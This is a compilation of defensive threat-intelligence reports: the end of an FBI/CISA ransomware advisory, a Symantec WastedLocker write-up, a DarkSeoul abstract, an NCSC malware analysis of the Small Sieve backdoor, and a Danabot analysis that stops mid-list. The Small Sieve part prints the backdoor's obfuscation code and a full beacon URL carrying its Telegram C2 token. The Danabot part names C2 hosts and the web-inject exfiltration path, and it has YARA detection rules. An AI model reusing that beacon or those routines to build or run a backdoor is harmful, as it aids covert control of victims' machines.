networks (WANs) and secure with strong passwords and encryption when enabled. - Secure personal identifiable information (PII)/patient health information (PHI) at collection points and encrypt the data at rest and in transit by using technologies such as Transport Layer Security (TLS). Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available if data is ever compromised. - Protect stored data by masking the permanent account number (PAN) when it is displayed and rendering it unreadable when it is stored—through cryptography, for example. - Secure the collection, storage, and processing practices for PII and PHI, per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures can prevent the introduction of malware on the system. - Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer. - Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise. - Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI. In addition, the FBI, CISA, and Treasury urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents. ### Preparing for Ransomware - Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses. - Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. - Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident. - Organizations should also ensure their incident response and communications plans include response and notification procedures for data breach incidents. Ensure the notification procedures adhere to applicable state laws. - For breaches involving electronic health information, you may need to notify the Federal Trade Commission (FTC) or the Department of Health and Human Services, and, in some cases, the media. ### Mitigating and Preventing Ransomware - Install updates for operating systems, software, and firmware as soon as they are released. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Regularly check for software updates and end-of-life notifications and prioritize patching known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process. - If you use Remote Desktop Protocol (RDP), or other potentially risky services, secure and monitor them closely. - Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require multifactor authentication (MFA) to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. - Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). - Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. - Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. - Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established. - Open document readers in protected viewing modes to help prevent active content from running. - Implement user training programs and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails. - Require MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups. - Use strong passwords and avoid reusing passwords for multiple accounts. - Require administrator credentials to install software. - Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind. - Install and regularly update antivirus and antimalware software on all hosts. - Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN. - Consider adding an email banner to messages coming from outside your organizations. - Disable hyperlinks in received emails. ### Responding to Ransomware Incidents If a ransomware incident occurs at your organization: - Follow your organization’s Ransomware Response Checklist. - Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. - Follow the notification requirements as outlined in your cyber incident response plan. - Report incidents to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office. - Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. The FBI, CISA, and Treasury strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. ## Request for Information The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, bitcoin wallet information, the decryptor file, and/or benign samples of encrypted files. As stated above, the FBI discourages paying ransoms. Payment does not guarantee files will be recovered and may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. However, the FBI understands that when victims are faced with an inability to function, all options are evaluated to protect shareholders, employees, and customers. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and Treasury urge you to promptly report ransomware incidents to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the USSS at a USSS Field Office. Doing so provides the U.S. Government with critical information needed to prevent future attacks by identifying and tracking ransomware actors and holding them accountable under U.S. law. ## Resources - For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, U.S. whole-of-government webpage providing ransomware resources and alerts. - CISA’s Ransomware Readiness Assessment is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident. - A guide that helps organizations mitigate a ransomware attack and provides a Ransomware Response Checklist: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. ## Acknowledgements The FBI, CISA, and Treasury would like to thank Stairwell for their contributions to this CSA. ## Contact Information To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA. ## Revisions July 6, 2022: Initial Version July 7, 2022: Added STIX
# WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations Attackers were preparing to attack dozens of U.S. corporations, including eight Fortune 500 companies. UPDATE June 30: Further investigation by Symantec has confirmed dozens of U.S. newspaper websites owned by the same parent company have been compromised by SocGholish injected code. Some of the organizations targeted by WastedLocker could have been compromised when an employee browsed the news on one of its websites. Symantec has notified the company and it has now removed the malicious code. Symantec, a division of Broadcom (NASDAQ: AVGO), has identified and alerted our customers to a string of attacks against U.S. companies by attackers attempting to deploy the WastedLocker ransomware (Ransom.WastedLocker) on their networks. The end goal of these attacks is to cripple the victim’s IT infrastructure by encrypting most of their computers and servers in order to demand a multimillion dollar ransom. At least 31 customer organizations have been attacked, meaning the total number of attacks may be much higher. The attackers had breached the networks of targeted organizations and were in the process of laying the groundwork for staging ransomware attacks. WastedLocker is a relatively new breed of targeted ransomware, documented just prior to our publication by NCC Group, while Symantec was performing outreach to affected networks. WastedLocker has been attributed to the notorious “Evil Corp” cyber crime outfit. Evil Corp has previously been associated with the Dridex banking Trojan and BitPaymer ransomware, which are believed to have earned their creators tens of millions of dollars. Two Russian men who are alleged to be involved in the group have open indictments against them in the U.S. The attacks begin with a malicious JavaScript-based framework known as SocGholish, tracked to more than 150 compromised websites, which masquerades as a software update. Once the attackers gain access to the victim’s network, they use Cobalt Strike commodity malware in tandem with a number of living-off-the-land tools to steal credentials, escalate privileges, and move across the network in order to deploy the WastedLocker ransomware on multiple computers. ## Discovery The attacks were proactively detected on a number of customer networks by Symantec’s Targeted Attack Cloud Analytics, which leverages advanced machine learning to spot patterns of activity associated with targeted attacks. The activity was reviewed by Symantec’s Threat Hunter team (part of Symantec’s Endpoint Security Complete offering) who verified it and quickly realized it corresponded closely to publicly documented activity seen in the early stages of WastedLocker attacks. This discovery enabled us to identify further organizations that had been targeted by WastedLocker and identify additional tools, tactics, and procedures used by the attackers, helping us to strengthen our protection against every stage of the attack. Major corporations in the crosshairs Symantec has uncovered attacks against 31 organizations to date, all of which were located in the U.S. The vast majority of targets are major corporations, including many household names. Aside from a number of large private companies, there were 11 listed companies, eight of which are Fortune 500 companies. All but one of the targeted organizations are U.S. owned, with the exception being a U.S.-based subsidiary of an overseas multinational. Organizations in a diverse range of sectors were attacked. Manufacturing was the sector most affected, accounting for five targeted organizations. This was followed by Information Technology (four) and Media and Telecommunications (three). Had the attackers not been disrupted, successful attacks could have led to millions in damages, downtime, and a possible domino effect on supply chains. ## How WastedLocker attacks unfold The initial compromise of an organization involves the SocGholish framework, which is delivered to the victim in a zipped file via compromised legitimate websites. Symantec has discovered at least 150 different legitimate websites that refer traffic to websites hosting the SocGholish zip file. It is possible that these websites lead to different malware, as such redirection services can be utilized by multiple actors at the same time. The zipped file contains malicious JavaScript, masquerading as a browser update. A second JavaScript file is then executed by wscript.exe. This JavaScript first profiles the computer using commands such as whoami, net user, and net group, then uses PowerShell to download additional discovery related PowerShell scripts. The next stage of the attack is to deploy Cobalt Strike. PowerShell is used to download and execute a loader from a domain publicly reported as being used to deliver Cobalt Strike as part of WastedLocker attacks. The loader also shared a command and control (C&C) domain with this reported Cobalt Strike infrastructure. The loader contained a .NET injector, also reportedly seen in WastedLocker attacks. The injector, along with the loader for Cobalt Strike Beacon, is reportedly taken from an open-source project called Donut, which is designed to help inject and execute in-memory payloads. The injected payload is known as Cobalt Strike Beacon and can be used to execute commands, inject other processes, elevate current processes or impersonate other processes, and upload and download files. The Get-NetComputer command from PowerView is renamed by the attackers to a random name. This command was then seen searching for all the computer objects in the Active Directory database with filter conditions like *server* or *2003* or *7* (returning all Windows Server, Windows Server 2003, or Windows 7 instances). The attackers then logged this information in a .tmp file. Privilege escalation was performed using a publicly documented technique involving the Software Licensing User Interface tool (slui.exe), a Windows command line utility that is responsible for activating and updating the Windows operating system. The attackers used the Windows Management Instrumentation Command Line Utility (wmic.exe) to execute commands on remote computers, such as adding a new user or executing additional downloaded PowerShell scripts. Cobalt Strike was also used to carry out credential dumping using ProcDump and to empty log files. In order to deploy the ransomware, the attackers use the Windows Sysinternals tool PsExec to launch a legitimate command line tool for managing Windows Defender (mpcmdrun.exe) to disable scanning of all downloaded files and attachments, remove all installed definitions, and, in some cases, disable real-time monitoring. It is possible that the attackers use more than one technique to perform this task, since NCC reported suspected use of a tool called SecTool checker for this purpose. PsExec is then used to launch PowerShell which uses the win32_service WMI class to retrieve services and the net stop command to stop these services. After Windows Defender is disabled and services have been stopped across the organization, PsExec is used to launch the WastedLocker ransomware itself, which then begins encrypting data and deleting shadow volumes. ## Immediate threat to corporations The attackers behind this threat appear to be skilled and experienced, capable of penetrating some of the most well protected corporations, stealing credentials, and moving with ease across their networks. As such, WastedLocker is a highly dangerous piece of ransomware. A successful attack could cripple the victim’s network, leading to significant disruption to their operations and a costly clean-up operation. ## Protection/Mitigation The following protections are in place to protect customers against WastedLocker attacks and associated activity: **File-based protection** - Ransom.WastedLocker - Ransom.WastedLocker!g1 - Ransom.WastedLocker!gm - Trojan.Gen.2 - Trojan Horse - Trojan.Gen.MBT - Downloader - JS.Downloader - Packed.Generic.459 - ISB.Downloader!gen403 - ISB.Downloader!gen404 - Heur.AdvML.B - Heur.AdvML.C - SONAR.SuspLaunch!g18 **Intrusion Prevention** - System Infected: Trojan.Backdoor Activity 478 - Malicious Site: Malicious Domains Request - System Infected: Trojan.Backdoor Domains 2 - Web Attack: Fake Browser Update 8 **Indicators of Compromise** Note: C&C domains linked to this activity have been reported by Symantec to the relevant registrar. | IOC | Description | | --- | --- | | 2f72550c99a297558235caa97d025054f70a276283998d9686c282612ebdbea0 | Cobalt Strike loader | | 389f2000a22e839ddafb28d9cf522b0b71e303e0ae89e5fc2cd5b53ae9256848 | Cobalt Strike loader | | 3dfb4e7ca12b7176a0cf12edce288b26a970339e6529a0b2dad7114bba0e16c3 | Cobalt Strike loader | | 714e0ed61b0ae779af573dce32cbc4d70d23ca6cfe117b63f53ed3627d121feb | Cobalt Strike loader | | 810576224c148d673f47409a34bd8c7f743295d536f6d8e95f22ac278852a45f | Cobalt Strike loader | | 83710bbb9d8d1cf68b425f52f2fb29d5ebbbd05952b60fb3f09e609dfcf1976c | Cobalt Strike loader | | 91e18e5e048b39dfc8d250ae54471249d59c637e7a85981ab0c81cf5a4b8482d | Cobalt Strike loader | | adabf8c1798432b766260ac42ccdd78e0a4712384618a2fc2e3695ff975b0246 | Cobalt Strike loader | | b0354649de6183d455a454956c008eb4dec093141af5866cc9ba7b314789844d | Cobalt Strike loader | | bc1c5fecadc752001826b736810713a86cfa64979b3420ab63fe97ba7407f068 | Cobalt Strike loader | | c781c56d8c8daedbed9a15fb2ece165b96fdda1a85d3beeba6bb3bc23e917c90 | Cobalt Strike loader | | c7cde31daa7f5d0923f9c7591378b4992765eac12efa75c1baaaefa5f6bdb2b6 | Cobalt Strike loader | | f093b0006ef5ac52aa1d51fee705aa3b7b10a6af2acb4019b7bc16da4cabb5a1 | Cobalt Strike loader | | 6088e7131b1b146a8e573c096386ff36b19bfad74c881ca68eda29bd4cea3339 | .NET injector (Donut) | | 5cd04805f9753ca08b82e88c27bf5426d1d356bb26b281885573051048911367 | WastedLocker | | 887aac61771af200f7e58bf0d02cb96d9befa11deda4e448f0a700ccb186ce9d | WastedLocker | | 8897db876553f942b2eb4005f8475a232bafb82a50ca7761a621842e894a3d80 | WastedLocker | | bcdac1a2b67e2b47f8129814dca3bcf7d55404757eb09f1c3103f57da3153ec8 | WastedLocker | | e3bf41de3a7edf556d43b6196652aa036e48a602bb3f7c98af9dae992222a8eb | WastedLocker | | ed0632acb266a4ec3f51dd803c8025bccd654e53c64eb613e203c590897079b3 | WastedLocker | We would like to thank Namecheap for their assistance in suspending some domains associated with this attack.
# Tracing the Lineage of DarkSeoul This paper presents a case study of the April 2013 'DarkSeoul' cyber-attack, which crippled tens of thousands of computers in South Korea's banking and media sectors through the use of destructive malware. While the attack was initially believed to be the work of hacktivists, malware researchers... By David Martin March 4, 2016
# Small Sieve Malware Analysis Report **Version 1.0** **27 January 2022** © Crown Copyright 2022 ## Executive Summary - Use of the Telegram Bot API reduces visibility to network defenders. - Custom string and traffic obfuscation routines are also employed to evade detection. - Functionality is limited to downloading files and command line execution. ## Introduction Small Sieve is a simple – possibly disposable – Python backdoor which is distributed using an NSIS installer that performs persistence. It provides basic functionality required to maintain and expand a foothold in victim infrastructure using custom string and traffic obfuscation schemes together with the Telegram Bot API to avoid detection. ## Malware Details ### Metadata **Filename:** gram_app.exe **Description:** NSIS installer which installs and runs the index.exe backdoor and adds a persistence registry key **Size:** 16999598 bytes **MD5:** 15fa3b32539d7453a9a85958b77d4c95 **SHA-1:** 11d594f3b3cf8525682f6214acb7b7782056d282 **SHA-256:** b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 **Compile time:** 2021-09-25 21:57:46 UTC **Filename:** index.exe **Description:** The final PyInstaller-bundled Python 3.9 backdoor **Size:** 17263089 bytes **MD5:** 5763530f25ed0ec08fb26a30c04009f1 **SHA-1:** 2a6ddf89a8366a262b56a251b00aafaed5321992 **SHA-256:** bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 **Compile time:** 2021-08-01 04:39:46 UTC ## MITRE ATT&CK® This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. | Tactic | ID | Technique | Procedure | |--------------|-------------|---------------------------------------------|--------------------------------------------------------------------------| | Execution | T1059.006 | Command and Scripting Interpreter: Python | Small Sieve is a PyInstaller-packed Python script. | | Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Small Sieve is started by a registry run key. | | Defense Evasion | T1027 | Obfuscated Files or Information | Small Sieve uses a custom hex byte swapping encoding scheme combined with an obfuscated base64 function to protect program strings and updated Telegram credentials. | | Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection. | | Command And Control | T1071.001 | Application Layer Protocol: Web Protocols | Small Sieve beacons and tasking are performed using the Telegram API over HTTPS. | | Command And Control | T1132.002 | Data Encoding: Non-Standard Encoding | Small Sieve employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic. | | Defense Evasion | T1480 | Execution Guardrails | The Small Sieve payload will only execute correctly if the word 'Platypus' is passed to it on the command line. | ## Functionality ### Installation Small Sieve is distributed as a large (16MB) Nullsoft Scriptable Install System (NSIS) installer named gram_app.exe which does not appear to masquerade as a legitimate application. Once executed, the backdoor binary index.exe is installed in the user’s AppData/Roaming directory and is added as a Run key in the registry to enable persistence after reboot. The installer then executes the backdoor with the ‘Platypus’ argument, which is also present in the registry persistence key: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift.` ### Configuration The backdoor attempts to restore previously initialized session data from `%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt`. If this file does not exist then it uses the following hardcoded values: | Field | Value | Description | |------------|---------------------------------------------------|-----------------------------------------------------------------------------| | Chat ID | 2090761833 | The Telegram Channel ID that beacons are sent to, and from which tasking requests are received. Tasking requests are dropped if they do not come from this channel. This value cannot be changed. | | Bot ID | Random value between 10,000,000 and 90,000,000 | A bot identifier generated at startup which is sent to the C2 in the initial beacon. Commands must be prefixed with /com[Bot ID] in order to be processed by the malware. | | Telegram Token | 2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY | The initial token used to authenticate each message to the Telegram Bot API. | ### Tasking Small Sieve beacons using the Telegram Bot API, sending the configured Bot ID, the currently logged in user and the host’s IP address. It then waits for tasking as a Telegram bot using the python-telegram-bot module. Two task formats are supported: - `/start` - no argument is passed, this causes the beacon information to be repeated. - `/com[BotID] [command]` – for issuing commands passed in the argument. The following commands are supported by the second of these formats: | Command | Description | |-----------------------------|-----------------------------------------------------------------------------| | delete | Causes the backdoor to exit. Does not remove persistence. | | download url””filename | The url will be fetched and saved to the provided filename using the Python urllib module urlretrieve function. | | change token””newtoken | The backdoor will reconnect to the Telegram Bot API using the provided token newtoken. This updated token will be stored in the encoded MicrosoftWindowsOutlookDataPlus.txt file. | | disconnect | The original connection to Telegram is terminated. Likely used after a ‘change token’ command is issued. | Any commands other than those detailed in the table are executed directly by passing them to `cmd.exe /c`, and the output is returned as a reply. ## Defence Evasion ### Anti-sandbox Small Sieve makes use of an execution guardrail by using a command line argument in the name of some of its classes and methods. ```python def bYQKqMEkIrYTvzs8cupMpFSwzcWjs4cB__Platypus_(): startCommand = commandClass.CallMember('smoo20k4eVAq0XWu0zfQM5X5PP8z6Si7__' + argv[1] + '_', ..) if __name__ == "__main__": locals()['bYQKqMEkIrYTvzs8cupMpFSwzcWjs4cB__' + argv[1] + '_']() ``` ### String Obfuscation Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64-encoded. A decryption script is included in the appendix. ## Communications ### Beacon Format Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a beacon is generated manually using the standard requests library: ``` https://api.telegram.org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?chat_id=2090761833&parse_mode=Markdown&text=/com39062050%20|%208313e22333e27313e2031302c70213e49414d4f444e49475f2e696d64616 ``` The hex host data is encoded using the byte shuffling algorithm. The example shown above decodes to: `admin/WINDOMAIN1 | 10.17.32.18` ### Traffic Obfuscation Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm. ```python def Swap3(inputstr): inputCopy = list(inputstr) swapIndex = 0 for index in range(len(inputstr)-1, 0, -2): if swapIndex < index: swapTmp = inputCopy[swapIndex] inputCopy[swapIndex] = inputCopy[index] inputCopy[index] = swapTmp swapIndex += 3 return ''.join(inputCopy) def ReverseString(inputstr): return inputstr[::-1] def Decode(inputstr): return bytes.fromhex(Swap3(ReverseString(Swap3(inputstr)))).decode('utf-8') def Encode(inputstr): return Swap3(ReverseString(Swap3(bytes.hex(inputstr.encode('utf-8'))))) ``` ## Detection ### Indicators of Compromise | Type | Description | Values | |-----------|----------------------------------|-------------------------------------------------------------------------| | Path | Telegram Session Persistence File | `%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt` (Obfuscated) | | Path | Installation path of the Small Sieve binary | `%AppData%\OutlookMicrosift\index.exe` | | Registry | Persistence Registry Key | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift` pointing to index.exe with a ‘Platypus’ argument | ## Appendix A: String Recovery Script ```python ''' This script demonstrates recovery of obfuscated strings found in the index.pyc file extracted from the index.exe binary (2A6DDF89A8366A262B56A251B00AAFAED5321992) of Small Sieve This will also recover bot credentials cached in "%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt" ''' import base64 extractedStrings = [ 'QA==', 'FQIpFlEnAD8QGQ==', 'QA1s', 'BB47ClknDDpZ', 'EhM=', 'Tw==', '_', 'Py4hBVwmMgE=', 'FQUqSQ0=', 'FR8nClo/A34aGEI=', 'AxwoSlAwCH5WFA8=', 'KD87L2MuX248HBlHPmcgIGMQTU40OCATWzRHZlsmDRwRK30yPys/FSYXaw==', 'QHthSRhlQHNUWgJeagBcRQttU1RRUW4=', 'RT0jB1QkLC4JM04HJggtJU8jDBYPNAI+OipYSl8iNTk7AEExMTQCBCcFZEJFPQRXPzo=', 'FQIpFlspADs=', 'ExwjCwd4BmocIW4Cd3UmHRY6GCgxbjx/PRMOVAYGL0ERK30yPys/FSYXaw==', 'TxIjCQ==', 'EwUtFkE=', 'ORQ/RHEhHj0WGUEWJFk=', 'UkF1VAJ+XGZKRA==', 'AxktClItTQ==', 'BBQgAUEt', 'FxM=', 'Ax4h', 'HA==', 'Dh4AL2AGIDBPOkwrPxQEOVwuLy8ZalQuFXBVWQE7Fz0RK30yPys/FSYXaw==', 'RgEtFkYtMjMWE0pOCkwDA0IvCRdaLwEyGX4=', 'ORQ/RGEnBjsX', 'FB4nAVs=', 'NSN5IG8bDhpAD2gVDR5CMn83OigVNV15AnBPa2oRMxARK30yPys/FSYXaw==', 'Dxpv', 'CAU4FEZyQnEYB0ZdM0gdDUEyHxRSNBYtQiFZWg==', 'BxsGKG8CABscQh8JKmILW2EOMBAGGVUlHBtDYWQ6HDIRK30yPys/FSYXaw==', 'BEg2AQABXBoDEkgrAFkyCUgKDTcYHy8bOidGHnMlBBUGK3IOMj4yHCMRR3E=', 'BBg/B1omAzsaAw==', 'Lzo=', 'TwIpClEFCC0KFkgWeE4ZCVIfFx1B', 'DQUpMlccPxQVR1UEH2IjXHYrHQMZIgkOGzV5RHNjEEURK30yPys/FSYXaw==', 'UkF8VwV6W25AQxUyBmoeAVI2DhoEaDcMN3FpGGkvDwV6OEwBNSYCI2I0VnZCFw==', 'PAUpCUUXAisNG0AcLHIfWgg0Bg0=', 'ExgrClQkTTEXG1ZTMEIDA1VgFxdcNgUjA2NCRkIwJxJuG0t+KjcjRT4FXUAQJ0RXIjwfAg0DNF8=' ] def DecodeString(encodeArg): customAlphabet = '`qLd5Hm^yw/sG-qh&@~y|[dJmC6.0UFvNt-^^_FeSd4.0N*#GNophwQ-MCJ1?>L73PY' result = ''.join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(encodeArg, customAlphabet)]) return result def Base64DecodeString(arg): return DecodeString(base64.b64decode(arg).decode()) if __name__ == "__main__": for x in extractedStrings: print(f'"{x}" => "{Base64DecodeString(x)}"') ``` ## Disclaimer This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation. Refer any FOIA queries to [email protected]. All material is UK Crown Copyright ©
# Dissecting the Danabot Payload Targeting Italy **December 20, 2018** ## Introduction In the last weeks, a new variant of the infamous botnet named Danabot hit Italy. Security firms such as Proofpoint and Eset analyzed other samples of the same threat targeting the Australian landscape back in May 2018 and, more recently, in Italy. The Cybaze-Yoroi ZLab dissected one of these recent Danabot variants spread across the Italian cyberspace leveraging “Fattura” themed phishing emails (e.g. N051118), where the malicious payload was dropped abusing a macro-enabled Word document able to download the malicious DLL payload. ## Technical Analysis The malware tries to connect to the remote host 149.154.157.104 (EDIS-IT IT) through an encrypted SSL channel, then it downloads other components and deletes itself from the filesystem. In the meanwhile, it sets up a system service into the “HKLM\SYSTEM\CurrentControlSet\Services” registry key. These registry keys are responsible for the loading of dynamically linked libraries in the "read only” and “hidden” “C:\ProgramData\D93C2DAC”. This hidden folder contains two other components in execution, “D93C2D32.dll” and “D93C2D64.dll”. They are the same components compiled respectively in 32 and 64 bit, executed through the rundll32.exe process according to the architecture of the compromised host. The malware implant loads the library at least two times, with different parameters each time, depending on the called exported function. As shown, the malware exports eight key functions: “f1”, “f2”, “f3”, “f4”, “f5”, “f6”, “f7” and “f8”. The “f1” function is responsible for the installation of the malware implant into the victim machine. It works as an installation function and allows the execution of the other ones. The two functions which keep alive the malware within the system are “f4” and “f5”: the “f5” function sets a system forwarding proxy on local port 1080, enabling the malware to intercept and modify the network traffic. The function “f4” manages the traffic and performs a Man-In-The-Browser attack. Every DNS call from the victim computer to the internet, matching with the list of banking sites hard-coded in the malware, will be modified; the malware adds in the original page a piece of JavaScript to steal sensitive information such as username, password, and session cookie. During the execution of the functions above, the malware also searches for sensitive information stored in the data folder of the installed web browsers, like Google Chrome and Mozilla Firefox. It gathers saved credentials and stores them in a temporary SQLite database located in “C:\WINDOWS\TEMP”. ## Man in the Browser To perform the Man in the Browser attack, the malware sets a system forward proxy. This way, it inspects all incoming and outgoing internet traffic. When the victim requests a specific web page related to one of the targeted sites, the malware injects a custom JavaScript code into the page to intercept and exfiltrate sensitive user information such as personal details, credentials, and PAN numbers. The proxy is managed by the “f4” function of the malicious DLL. By extracting the Man-in-the-Browser configuration from the malware sample, we retrieved the complete list of the intercepted web pages, revealing the malware is targeting the customers of a wide range of financial institutions: most of them are Italian banking companies such as Bancoposte, Intesa San Paolo, Banca Generali, BNL, Hello Bank, UBI Banca, etc. Besides the banking websites, a set of email providers are also targeted by the malware, including general-purpose webmail providers such as Tim, Yahoo, Hotmail, GMail, and other more specific email services related to Italian real estate companies such as Tecnocasa. Further details about the targeted organizations can be found at the bottom of the article. ## Web-Inject The malicious JavaScript injected into the webpages sends the stolen information to the C2, including the session cookie of the victim to infiltrate already authenticated sessions. The snippet of code shows the web inject code downloaded from “http://equityfloat[.]pw/hc/myjs28frr_s51.js”. The web inject code checks to a malicious PHP resource “/my9rep/777.php”, sending bot-id details and current session cookies. In particular, we can see the malware sets the bot-id of the infected machine, using a custom jQuery script: “var tbid=my7ajx("#myjs1[data-botid]");”. This bot-id is concatenated for the path to the PHP page of the C2 “equityfloat.]com”. This way, the attacker is informed about the successful injection of the MitB agent. ## Conclusion The Danabot threat expanded its activities into the Italian landscape during the last year, especially during November 2018 when a massive attack wave has been intercepted during CSDC security monitoring operations. The specific configuration extracted from the analyzed sample is another clear indication of the increasing criminal interest against Italian users and organizations, not limited to the traditional banking sector. Moreover, this particular November’s wave may have also been potentially originated by the same threat actor responsible for past Gootkit attack waves, internally referenced as TH-106. In fact, according to CERT-PA technical analysis, this actor may have decided to try to achieve its malicious objectives leveraging another malware toolkit, showing adaptive capabilities to lower the chance of being taken down. ## Indicator of Compromise Indicators of compromise identified during the analysis: **C2:** - 176.119.1.99 - 176.119.1.100 - 192.71.249.50 - 185.64.189.115 - 149.154.157.106 - equityfloat[.pw - 188.68.208.77 **Persistence:** - Registry key set: “HKLM\SYSTEM\CurrentControlSet\Services” **Hash:** - de3c90b05d5f2e4cc7e520dea45a816029554c04d0f188d163c86f02db1c869d - c219e084556b0d836224f9c7cd517b57542d19c79d2608c3d31815a7dcf4f9b6 - d36b230e3558fbb646fa61dc0bf4cca4669d5767271ab22f661bb887d04e51b6 - 940455ee1dd18538f8ca352edc65f97b4b55f57da030de42541a2d6090dba8fd - b4b63ad0e4f99e8ed299b8f8a3aec5d81eb9c45345255b1706046f4931300e15 ## Yara Rules ```yara rule myjs28_frr_s51_js_05_12_2018 { meta: description = "Yara Rule for Danabot js" author = "Cybaze Zlab_Yoroi" last_updated = "2018-12-05" tlp = "white" category = "informational" strings: $a1 = "/my9rep/777.php?typ=" $a2 = "#myjs1[data-botid]" $a3 = "equityfloat.pw" $b = "kilka godzin" $c = "modernizacyjne" condition: $b and $c and 1 of ($a*) } rule payload_dll_05_12_2018 { meta: description = "Yara Rule for Danabot payload DLL" author = "Cybaze Zlab_Yoroi" last_updated = "2018-12-05" tlp = "white" category = "informational" strings: $a1 = {67 00 43 00 51 00 59 00 6A 00} $a2 = {45 E8 50 E8 0E B0 FF FF 81 6D} $b = "funny5.dll" condition: $b and 1 of ($a*) } ``` ## WebInject Targets - https://login.ingbank.pl/mojeing/* - https://www.neobank24.pl/ebank/st* - https://*.pl/* - https://www.centrum24.pl/centrum24-web/* - https://pocztowy24biznes.pl/* - https://bitbay.ne* - https://bittrex.com/* - https://poloniex.com/* - https://ebusinessbank.db-pbc.pl/* - https://www.e25.pl/* - https://scrigno.popso.it/ihb/run* - https://bancoposta.poste.it/* - https://www.bancaprossima.com/script/* - https://www.intesasanpaoloprivatebanking.com/script/* - https://qweb.quercia.com/*.as* - https://www.relaxbanking.it/newrelax1/* - https://www.ubibanca.com/qu* - https://www.ubibanca.com/qui/nav/bonifico/* - https://www.ubibanca.com/logou* - https://youweb.bancobpm.it/WEBHT/* - https://youwebcard.bancopopolare.it/WEBHT/* - https://geb.bankaustria.at/* - https://mein.elba.raiffeisen.at/* - https://banking.raiffeisen.at/* - https://*.at/banking/* - https://ibanking.wsk-bank.at/* - https://ebanking.raiffeisen.ch/entry* - https://*.ch/authen/login* - 